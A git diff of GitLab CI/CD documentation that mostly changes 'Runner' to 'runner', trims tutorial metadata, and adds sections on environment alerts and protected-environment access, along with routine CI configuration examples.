`${GITLAB_RUNNER_HOME}/.docker/config.json`. GitLab Runner reads this configuration file and uses the needed helper for this specific repository. @@ -762,7 +762,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th This configures Docker to use the credential helper for all Amazon ECR registries. - - Or, if you're running self-managed Runners, + - Or, if you're running self-managed runners, add the above JSON to `${GITLAB_RUNNER_HOME}/.docker/config.json`. GitLab Runner reads this configuration file and uses the needed helper for this specific repository. diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 41c8f04f66e..a62f4db4fe4 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -22,8 +22,8 @@ build](using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor) ## Requirements -In order to utilize kaniko with GitLab, a [GitLab Runner](https://docs.gitlab.com/runner/) -using one of the following executors is required: +In order to utilize kaniko with GitLab, [a runner](https://docs.gitlab.com/runner/) +with one of the following executors is required: - [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html). - [Docker](https://docs.gitlab.com/runner/executors/docker.html). @@ -85,13 +85,13 @@ This can be solved by adding your CA's certificate to the kaniko certificate store: ```yaml - before_script: - - mkdir -p /kaniko/.docker - - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json - - | - echo "-----BEGIN CERTIFICATE----- - ... - -----END CERTIFICATE-----" >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt +before_script: + - mkdir -p /kaniko/.docker + - echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json + - | + echo "-----BEGIN CERTIFICATE----- + ... + -----END CERTIFICATE-----" >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt ``` ## Video walkthrough of a working example @@ -100,8 +100,8 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build) Guided Exploration project pipeline. It was tested on: -- [GitLab.com Shared Runners](../../user/gitlab_com/index.md#shared-runners) -- [The Kubernetes Runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) +- [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners) +- [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index cdccdef049d..99f7d5d07a5 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -71,8 +71,8 @@ runs by enabling the [Skip outdated deployment jobs](../pipelines/settings.md#sk Example of a problematic pipeline flow **before** enabling Skip outdated deployment jobs: -1. Pipeline-A is created on the master branch. -1. Later, Pipeline-B is created on the master branch (with a newer commit SHA). +1. Pipeline-A is created on the `master` branch. +1. Later, Pipeline-B is created on the `master` branch (with a newer commit SHA). 1. The `deploy` job in Pipeline-B finishes first, and deploys the newer code. 1. The `deploy` job in Pipeline-A finished later, and deploys the older code, **overwriting** the newer (latest) deployment. diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index e920e0d2400..931e5512e9e 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -25,8 +25,8 @@ You can access the dashboard from the top bar by clicking  -The Environments Dashboard displays a maximum of 7 projects -and 3 environments per project. +The Environments dashboard displays a paginated list of projects that includes +up to three environments per project. The listed environments for each project are unique, such as "production", "staging", etc. Review apps and other grouped @@ -47,6 +47,8 @@ The Environments and [Operations](../../user/operations_dashboard/index.md) dashboards share the same list of projects. When you add or remove a project from one, GitLab adds or removes the project from the other. +You can add up to 150 projects for GitLab to display on this dashboard. + ## Environment dashboards on GitLab.com GitLab.com users can add public projects to the Environments diff --git a/doc/ci/environments/img/alert_for_environment.png b/doc/ci/environments/img/alert_for_environment.png Binary files differnew file mode 100644 index 00000000000..4480c815a92 --- /dev/null +++ b/doc/ci/environments/img/alert_for_environment.png diff --git a/doc/ci/environments/incremental_rollouts.md b/doc/ci/environments/incremental_rollouts.md index 5da5c8e0a87..06661e03001 100644 --- a/doc/ci/environments/incremental_rollouts.md +++ b/doc/ci/environments/incremental_rollouts.md @@ -19,7 +19,7 @@ tranches after a default pause of 5 minutes. Timed rollouts can also be manually triggered before the pause period has expired. Manual and Timed rollouts are included automatically in projects controlled by -[AutoDevOps](../../topics/autodevops/index.md), but they are also configurable through +[Auto DevOps](../../topics/autodevops/index.md), but they are also configurable through GitLab CI/CD in the `.gitlab-ci.yml` configuration file. Manually triggered rollouts can be implemented with your [Continuously Delivery](../introduction/index.md#continuous-delivery) diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 0273ab290a6..07d0dac6163 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -59,7 +59,7 @@ The rest of this section illustrates how to configure environments and deploymen an example scenario. It assumes you have already: - Created a [project](../../gitlab-basics/create-project.md) in GitLab. -- Set up [a Runner](../runners/README.md). +- Set up [a runner](../runners/README.md). In the scenario: @@ -138,9 +138,9 @@ In summary, with the above `.gitlab-ci.yml` we have achieved the following: job will deploy our code to a staging server while the deployment will be recorded in an environment named `staging`. -#### Environment variables and Runner +#### Environment variables and runners -Starting with GitLab 8.15, the environment name is exposed to the Runner in +Starting with GitLab 8.15, the environment name is exposed to the runner in two forms: - `$CI_ENVIRONMENT_NAME`. The name given in `.gitlab-ci.yml` (with any variables @@ -154,7 +154,7 @@ If you change the name of an existing environment, the: - `$CI_ENVIRONMENT_SLUG` variable will remain unchanged to prevent unintended side effects. -Starting with GitLab 9.3, the environment URL is exposed to the Runner via +Starting with GitLab 9.3, the environment URL is exposed to the runner via `$CI_ENVIRONMENT_URL`. The URL is expanded from either: - `.gitlab-ci.yml`. @@ -317,14 +317,14 @@ including: However, you cannot use variables defined: - Under `script`. -- On the Runner's side. +- On the runner's side. There are also other variables that are unsupported in the context of `environment:name`. For more information, see [Where variables can be used](../variables/where_variables_can_be_used.md). #### Example configuration -GitLab Runner exposes various [environment variables](../variables/README.md) when a job runs, so +Runners expose various [environment variables](../variables/README.md) when a job runs, so you can use them as environment names. In the following example, the job will deploy to all branches except `master`: @@ -525,7 +525,7 @@ The complete example provides the following workflow to developers: - Push the branch to GitLab. - Create a merge request. -Behind the scenes, GitLab Runner will: +Behind the scenes, the runner will: - Pick up the changes and start running the jobs. - Run the jobs sequentially as defined in `stages`: @@ -700,7 +700,7 @@ stop_review: ``` Setting the [`GIT_STRATEGY`](../yaml/README.md#git-strategy) to `none` is necessary in the -`stop_review` job so that the [GitLab Runner](https://docs.gitlab.com/runner/) won't +`stop_review` job so that the [runner](https://docs.gitlab.com/runner/) won't try to check out the code after the branch is deleted. When you have an environment that has a stop action defined (typically when @@ -864,6 +864,38 @@ exist, you should see something like:  +### Environment incident management + +You have successfuly setup a Continous Delivery/Deployment workflow in your project. +Production environments can go down unexpectedly, including for reasons outside +of your own control. For example, issues with external dependencies, infrastructure, +or human error can cause major issues with an environment. This could include: + +- A dependent cloud service goes down. +- A 3rd party library is updated and it's not compatible with your application. +- Someone performs a DDoS attack to a vulnerable endpoint in your server. +- An operator misconfigures infrastructure. +- A bug is introduced into the production application code. + +You can use [incident management](../../operations/incident_management/index.md) +to get alerts when there are critical issues that need immediate attention. + +#### View the latest alerts for environments **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214634) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. + +If you [set up alerts for Prometheus metrics](../../operations/metrics/alerts.md), +alerts for environments are shown on the environments page. The alert with the highest +severity is shown, so you can identify which environments need immediate attention. + + + +When the issue that triggered the alert is resolved, it is removed and is no +longer visible on the environment page. + +If the alert requires a [rollback](#retrying-and-rolling-back), you can select the +deployment tab from the environment page and select which deployment to roll back to. + ### Monitoring environments If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md), diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index b6141ddc7ac..5dda0cc81f6 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -47,6 +47,37 @@ To protect an environment: The protected environment will now appear in the list of protected environments. +## Environment access by group membership + +A user may be granted access to protected environments as part of +[group membership](../../user/group/index.md). Users with +[Reporter permissions](../../user/permissions.md), can only be granted access to +protected environments with this method. + +## Deployment branch access + +Users with [Developer permissions](../../user/permissions.md) can be granted +access to a protected environment through any of these methods: + +- As an individual contributor, through a role. +- Through a group membership. + +If the user also has push or merge access to the branch deployed on production, +they have the following privileges: + +- [Stopping an environment](index.md#stopping-an-environment). +- [Delete a stopped environment](index.md#delete-a-stopped-environment). +- [Create an environment terminal](index.md#web-terminals). + +## Deployment-only access to protected environments + +Users granted access to a protected environment, but not push or merge access +to the branch deployed to it, are only granted access to deploy the environment. + +NOTE: **Note:** +Deployment-only access is the only possible access level for users with +[Reporter permissions](../../user/permissions.md). + ## Modifying and unprotecting environments Maintainers can: @@ -55,6 +86,10 @@ Maintainers can: **Allowed to Deploy** dropdown menu. - Unprotect a protected environment by clicking the **Unprotect** button for that environment. +NOTE: **Note:** +After an environment is unprotected, all access entries are deleted and must +be re-entered if the environment is re-protected. + For more information, see [Deployment safety](deployment_safety.md). <!-- ## Troubleshooting diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 37ccef10567..34e3b276d3e 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -64,6 +64,7 @@ choose one of these templates: - [Clojure (`Clojure.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Clojure.gitlab-ci.yml) - [Composer `Composer.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Composer.gitlab-ci.yml) - [Crystal (`Crystal.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Crystal.gitlab-ci.yml) +- [Dart (`Dart.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Dart.gitlab-ci.yml) - [Django (`Django.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Django.gitlab-ci.yml) - [Docker (`Docker.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Docker.gitlab-ci.yml) - [dotNET (`dotNET.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml) diff --git a/doc/ci/examples/artifactory_and_gitlab/index.md b/doc/ci/examples/artifactory_and_gitlab/index.md index c1b3ddec1b9..2abb2cc1b0d 100644 --- a/doc/ci/examples/artifactory_and_gitlab/index.md +++ b/doc/ci/examples/artifactory_and_gitlab/index.md @@ -3,12 +3,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers disqus_identifier: 'https://docs.gitlab.com/ee/articles/artifactory_and_gitlab/index.html' -author: Fabio Busatto -author_gitlab: bikebilly -level: intermediate -article_type: tutorial type: tutorial -date: 2017-08-15 --- # How to deploy Maven projects to Artifactory with GitLab CI/CD @@ -82,7 +77,7 @@ is to configure the authentication data. It is a simple task, but Maven requires it to stay in a file called `settings.xml` that has to be in the `.m2` subdirectory in the user's homedir. -Since you want to use GitLab Runner to automatically deploy the application, you +Since you want to use a runner to automatically deploy the application, you should create the file in the project's home directory and set a command line parameter in `.gitlab-ci.yml` to use the custom location instead of the default one: @@ -110,7 +105,7 @@ parameter in `.gitlab-ci.yml` to use the custom location instead of the default Now it's time we set up [GitLab CI/CD](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/) to automatically build, test and deploy the dependency! GitLab CI/CD uses a file in the root of the repository, named `.gitlab-ci.yml`, to read the definitions for jobs -that will be executed by the configured GitLab Runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md). +that will be executed by the configured runners. You can read more about this file in the [GitLab Documentation](../../yaml/README.md). First of all, remember to set up variables for your deployment. Navigate to your project's **Settings > CI/CD > Environment variables** page and add the following ones (replace them with your current values, of course): @@ -151,7 +146,7 @@ deploy: - master ``` -GitLab Runner will use the latest [Maven Docker image](https://hub.docker.com/_/maven/), which already contains all the tools and the dependencies you need to manage the project, +The runner will use the latest [Maven Docker image](https://hub.docker.com/_/maven/), which already contains all the tools and the dependencies you need to manage the project, in order to run the jobs. Environment variables are set to instruct Maven to use the `homedir` of the repository instead of the user's home when searching for configuration and dependencies. diff --git a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md index 9a87786ec70..73896547675 100644 --- a/doc/ci/examples/authenticating-with-hashicorp-vault/index.md +++ b/doc/ci/examples/authenticating-with-hashicorp-vault/index.md @@ -9,6 +9,12 @@ type: tutorial This tutorial demonstrates how to authenticate, configure, and read secrets with HashiCorp's Vault from GitLab CI/CD. +NOTE: **Note:** +[GitLab Premium](https://about.gitlab.com/pricing/) supports read access to a +Hashicorp Vault, and enables you to +[use Vault secrets in a CI job](../../secrets/index.md#use-vault-secrets-in-a-ci-job). +To learn more, read [Using external secrets in CI](../../secrets/index.md). + ## Requirements This tutorial assumes you are familiar with GitLab CI/CD and Vault. @@ -41,7 +47,7 @@ The JWT's payload looks like this: "project_path": "mygroup/myproject", "user_id": "42", "user_login": "myuser", - "user_email": "myuser@example.com" + "user_email": "myuser@example.com", "pipeline_id": "1212", "job_id": "1212", "ref": "auto-deploy-2020-04-01", # Git ref for this job diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md index e0d4f3f2402..b113b10f2e3 100644 --- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md +++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md @@ -2,14 +2,7 @@ stage: Release group: Progressive Delivery info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Dylan Griffith -author_gitlab: DylanGriffith -level: intermediate -article_type: tutorial type: tutorial -date: 2018-06-07 -last_updated: 2019-04-08 -description: "Continuous Deployment of a Spring Boot application to Cloud Foundry with GitLab CI/CD" --- # Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md index 3192b365c83..f29770b8f57 100644 --- a/doc/ci/examples/deployment/README.md +++ b/doc/ci/examples/deployment/README.md @@ -117,7 +117,7 @@ We also use two secure variables: Secure Variables can added by going to your project's **Settings âž” CI / CD âž” Variables**. The variables that are defined -in the project settings are sent along with the build script to the Runner. +in the project settings are sent along with the build script to the runner. The secure variables are stored out of the repository. Never store secrets in your project's `.gitlab-ci.yml`. It is also important that the secret's value is hidden in the job log. diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md index 35a35d97a4b..836141af91e 100644 --- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md @@ -2,13 +2,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Ryan Hall -author_gitlab: blitzgren -level: intermediate -article_type: tutorial type: tutorial -date: 2018-03-07 -last_updated: 2019-03-11 --- # DevOps and Game Dev with GitLab CI/CD @@ -435,7 +429,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat ### Deploy your game with GitLab CI/CD To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on -the Shared Runner. The Shared Runner also needs to be able to authenticate with your AWS +the shared runner. The shared runner also needs to be able to authenticate with your AWS account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY`. GitLab's CI gives us a way to pass the variables we set up in the prior section using the `variables` portion of the `deploy` job. At the end, diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md index 05b3cc257e3..1f6c81a68aa 100644 --- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md +++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md @@ -2,13 +2,7 @@ stage: Verify group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Vincent Tunru -author_gitlab: Vinnl -level: advanced -article_type: user guide type: tutorial -date: 2019-02-18 -description: 'Confidence checking your entire app every time a new feature is added can quickly become repetitive. Learn how to automate it with GitLab CI/CD.' --- # End-to-end testing with GitLab CI/CD and WebdriverIO @@ -228,6 +222,7 @@ deploy_terraform: stage: deploy script: # Your Review App deployment scripts - for a working example please check https://gitlab.com/Flockademic/Flockademic/blob/5a45f1c2412e93810fab50e2dab8949e2d0633c7/.gitlab-ci.yml#L315 + - echo e2e:firefox: stage: confidence-check services: diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index c27566d38cf..8927c5c3480 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -2,14 +2,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -disqus_identifier: 'https://docs.gitlab.com/ee/articles/laravel_with_gitlab_and_envoy/index.html' -author: Mehran Rasulian -author_gitlab: mehranrasulian -level: intermediate -article_type: tutorial type: tutorial -date: 2017-08-31 -last_updated: 2019-03-06 --- # Test and deploy Laravel applications with GitLab CI/CD and Envoy @@ -36,7 +29,7 @@ We assume [you have installed a new Laravel project](https://laravel.com/docs/ma ### Unit Test -Every new installation of Laravel (currently 5.4) comes with two type of tests, 'Feature' and 'Unit', placed in the tests directory. +Every new installation of Laravel (currently 8.0) comes with two type of tests, 'Feature' and 'Unit', placed in the tests directory. Here's a unit test from `test/Unit/ExampleTest.php`: ```php @@ -412,7 +405,7 @@ Let's create a [Dockerfile](https://gitlab.com/mehranrasulian/laravel-sample/blo ```shell # Set the base image for subsequent instructions -FROM php:7.1 +FROM php:7.4 # Update packages RUN apt-get update @@ -434,7 +427,7 @@ RUN curl --silent --show-error https://getcomposer.org/installer | php -- --inst RUN composer global require "laravel/envoy=~1.0" ``` -We added the [official PHP 7.1 Docker image](https://hub.docker.com/_/php), which consist of a minimum installation of Debian Jessie with PHP pre-installed, and works perfectly for our use case. +We added the [official PHP 7.4 Docker image](https://hub.docker.com/_/php), which consist of a minimum installation of Debian buster with PHP pre-installed, and works perfectly for our use case. We used `docker-php-ext-install` (provided by the official PHP Docker image) to install the PHP extensions we need. @@ -537,8 +530,8 @@ That's a lot to take in, isn't it? Let's run through it step by step. #### Image and Services -[GitLab Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`. -The `image` keyword tells the Runners which image to use. +[Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`. +The `image` keyword tells the runners which image to use. The `services` keyword defines additional images [that are linked to the main image](../../docker/using_docker_images.md#what-is-a-service). Here we use the container image we created before as our main image and also use MySQL 5.7 as a service. @@ -566,15 +559,11 @@ Also set the variables `DB_HOST` to `mysql` and `DB_USERNAME` to `root`, which a We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../docker/using_docker_images.md#how-services-are-linked-to-the-job). ```yaml -... - variables: MYSQL_DATABASE: homestead MYSQL_ROOT_PASSWORD: secret DB_HOST: mysql DB_USERNAME: root - -... ``` #### Unit Test as the first job @@ -584,8 +573,6 @@ We defined the required shell scripts as an array of the [script](../../yaml/REA These scripts are some Artisan commands to prepare the Laravel, and, at the end of the script, we'll run the tests by `PHPUnit`. ```yaml -... - unit_test: script: # Install app dependencies @@ -598,8 +585,6 @@ unit_test: - php artisan migrate # Run tests - vendor/bin/phpunit - -... ``` #### Deploy to production @@ -615,8 +600,6 @@ The `only` keyword tells GitLab CI/CD that the job should be executed only when Lastly, `when: manual` is used to turn the job from running automatically to a manual action. ```yaml -... - deploy_production: script: # Add the private SSH key to the build environment @@ -648,7 +631,7 @@ To do that, commit and push `.gitlab-ci.yml` to the `master` branch. It will tri Here we see our **Test** and **Deploy** stages. The **Test** stage has the `unit_test` build running. -click on it to see the Runner's output. +click on it to see the runner's output.  diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md index cc62e9316f2..ab6ff1dc177 100644 --- a/doc/ci/examples/php.md +++ b/doc/ci/examples/php.md @@ -26,7 +26,7 @@ As with every job, you need to create a valid `.gitlab-ci.yml` describing the build environment. Let's first specify the PHP image that will be used for the job process -(you can read more about what an image means in the Runner's lingo reading +(you can read more about what an image means in the runner's lingo reading about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)). Start by adding the image to your `.gitlab-ci.yml`: @@ -73,24 +73,16 @@ Now that we created the script that contains all prerequisites for our build environment, let's add it in `.gitlab-ci.yml`: ```yaml -... - before_script: - bash ci/docker_install.sh > /dev/null - -... ``` Last step, run the actual tests using `phpunit`: ```yaml -... - test:app: script: - phpunit --configuration phpunit_myapp.xml - -... ``` Finally, commit your files and push them to GitLab to see your build succeeding @@ -103,7 +95,7 @@ The final `.gitlab-ci.yml` should look similar to this: image: php:5.6 before_script: -# Install dependencies + # Install dependencies - bash ci/docker_install.sh > /dev/null test:app: @@ -118,7 +110,7 @@ with a different Docker image version and the runner will do the rest: ```yaml before_script: -# Install dependencies + # Install dependencies - bash ci/docker_install.sh > /dev/null # We test PHP5.6 @@ -231,8 +223,6 @@ In order to execute Composer before running your tests, simply add the following in your `.gitlab-ci.yml`: ```yaml -... - # Composer stores all downloaded packages in the vendor/ directory. # Do not use the following if the vendor/ directory is committed to # your git repository. @@ -241,15 +231,13 @@ cache: - vendor/ before_script: -# Install composer dependencies + # Install composer dependencies - wget https://composer.github.io/installer.sig -O - -q | tr -d '\n' > installer.sig - php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" - php -r "if (hash_file('SHA384', 'composer-setup.php') === file_get_contents('installer.sig')) { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" - php composer-setup.php - php -r "unlink('composer-setup.php'); unlink('installer.sig');" - php composer.phar install - -... ``` ## Access private packages or dependencies diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md index d01e9663795..6c4d99bd2dc 100644 --- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md @@ -71,7 +71,7 @@ Find your Heroku API key in [Manage Account](https://dashboard.heroku.com/accoun For each of your environments, you'll need to create a new Heroku application. You can do this through the [Dashboard](https://dashboard.heroku.com/). -## Create Runner +## Create a runner First install [Docker Engine](https://docs.docker.com/installation/). diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md index bf589c5991d..066c0cf214f 100644 --- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md +++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md @@ -19,27 +19,27 @@ This is what the `.gitlab-ci.yml` file looks like for this project: test: stage: test script: - - apt-get update -qy - - apt-get install -y nodejs - - bundle install --path /cache - - bundle exec rake db:create RAILS_ENV=test - - bundle exec rake test + - apt-get update -qy + - apt-get install -y nodejs + - bundle install --path /cache + - bundle exec rake db:create RAILS_ENV=test + - bundle exec rake test staging: stage: deploy script: - - gem install dpl - - dpl --provider=heroku --app=gitlab-ci-ruby-test-staging --api-key=$HEROKU_STAGING_API_KEY + - gem install dpl + - dpl --provider=heroku --app=gitlab-ci-ruby-test-staging --api-key=$HEROKU_STAGING_API_KEY only: - - master + - master production: stage: deploy script: - - gem install dpl - - dpl --provider=heroku --app=gitlab-ci-ruby-test-prod --api-key=$HEROKU_PRODUCTION_API_KEY + - gem install dpl + - dpl --provider=heroku --app=gitlab-ci-ruby-test-prod --api-key=$HEROKU_PRODUCTION_API_KEY only: - - tags + - tags ``` This project has three jobs: @@ -62,7 +62,7 @@ Find your Heroku API key in [Manage Account](https://dashboard.heroku.com/accoun For each of your environments, you'll need to create a new Heroku application. You can do this through the [Heroku Dashboard](https://dashboard.heroku.com/). -## Create Runner +## Create a runner First install [Docker Engine](https://docs.docker.com/installation/). @@ -92,6 +92,6 @@ gitlab-runner register \ --docker-image ruby:2.6 ``` -With the command above, you create a Runner that uses the [`ruby:2.6`](https://hub.docker.com/_/ruby) image and uses a [PostgreSQL](https://hub.docker.com/_/postgres) database. +With the command above, you create a runner that uses the [`ruby:2.6`](https://hub.docker.com/_/ruby) image and uses a [PostgreSQL](https://hub.docker.com/_/postgres) database. To access the PostgreSQL database, connect to `host: postgres` as user `postgres` with no password. diff --git a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md index f2620461c09..ab6a4d3f507 100644 --- a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md +++ b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md @@ -2,13 +2,7 @@ stage: Verify group: Continuous Integration info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers -author: Alexandre S Hostert -author_gitlab: Hostert -level: beginner -article_type: tutorial type: tutorial -date: 2018-02-20 -last_updated: 2019-03-06 --- # Testing a Phoenix application with GitLab CI/CD @@ -182,10 +176,10 @@ environment it can run. Since we will work with a single environment, we'll edit configuration file (`test.exs`). But, why do we need to adjust our configuration? Well, GitLab CI/CD builds and tests our code in one -isolated virtual machine, called [Runner](../../runners/README.md), using Docker technology. In this Runner, +isolated virtual machine, called a [runner](../../runners/README.md), using Docker technology. In this runner, GitLab CI/CD has access to everything our Phoenix application need to run, exactly as we have in our `localhost`, but we have to tell GitLab CI/CD where to create and find this database using system -variables. This way, GitLab CI/CD will create our test database inside the Runner, just like we do +variables. This way, GitLab CI/CD will create our test database inside the runner, just like we do when running our Phoenix in our `localhost`. - Open `hello_gitlab_ci/config/test.exs` on your favorite code editor @@ -262,7 +256,7 @@ project. - The first line tells GitLab what Docker image will be used. - Remember when we learn about Runners, the isolated virtual machine where GitLab CI/CD build and test + Remember when we learned about runners, the isolated virtual machine where GitLab CI/CD builds and tests our application? This virtual machine must have all dependencies to run our application. This is where a Docker image is needed. The correct image will provide the entire system for us. @@ -401,5 +395,5 @@ using GitLab CI/CD. The benefits to our teams will be huge! - [GitLab CI/CD introductory guide](https://about.gitlab.com/blog/2015/12/14/getting-started-with-gitlab-and-gitlab-ci/) - [GitLab CI/CD full Documentation](../../README.md) -- [GitLab Runners documentation](../../runners/README.md) +- [GitLab Runner documentation](../../runners/README.md) - [Using Docker images documentation](../../docker/using_docker_images.md) diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md index b12ac59625f..5bcfe8fa3f1 100644 --- a/doc/ci/git_submodules.md +++ b/doc/ci/git_submodules.md @@ -94,10 +94,10 @@ correctly with your CI jobs: whether you have recursive submodules. The rationale to set the `sync` and `update` in `before_script` is because of -the way Git submodules work. On a fresh Runner workspace, Git will set the +the way Git submodules work. On a fresh runner workspace, Git will set the submodule URL including the token in `.git/config` (or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current -remote URL. On subsequent jobs on the same Runner, `.git/config` is cached +remote URL. On subsequent jobs on the same runner, `.git/config` is cached and already contains a full URL for the submodule, corresponding to the previous job, and to **a token from a previous job**. `sync` allows to force updating the full URL. diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md index c79fb5bc926..125e7dabecf 100644 --- a/doc/ci/interactive_web_terminal/index.md +++ b/doc/ci/interactive_web_terminal/index.md @@ -26,7 +26,7 @@ terminals are available when using your own group or project runner. Two things need to be configured for the interactive web terminal to work: -- The Runner needs to have [`[session_server]` configured +- The runner needs to have [`[session_server]` configured properly](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) - If you are using a reverse proxy with your GitLab instance, web terminals need to be [enabled](../../administration/integration/terminal.md#enabling-and-disabling-terminal-support) diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index c97f4e51d30..db2749233e8 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -191,7 +191,7 @@ according to each stage (Verify, Package, Release). - Analyze your source code quality with [GitLab Code Quality](../../user/project/merge_requests/code_quality.md). - Determine the browser performance impact of code changes with [Browser Performance Testing](../../user/project/merge_requests/browser_performance_testing.md). **(PREMIUM)** - Determine the server performance impact of code changes with [Load Performance Testing](../../user/project/merge_requests/load_performance_testing.md). 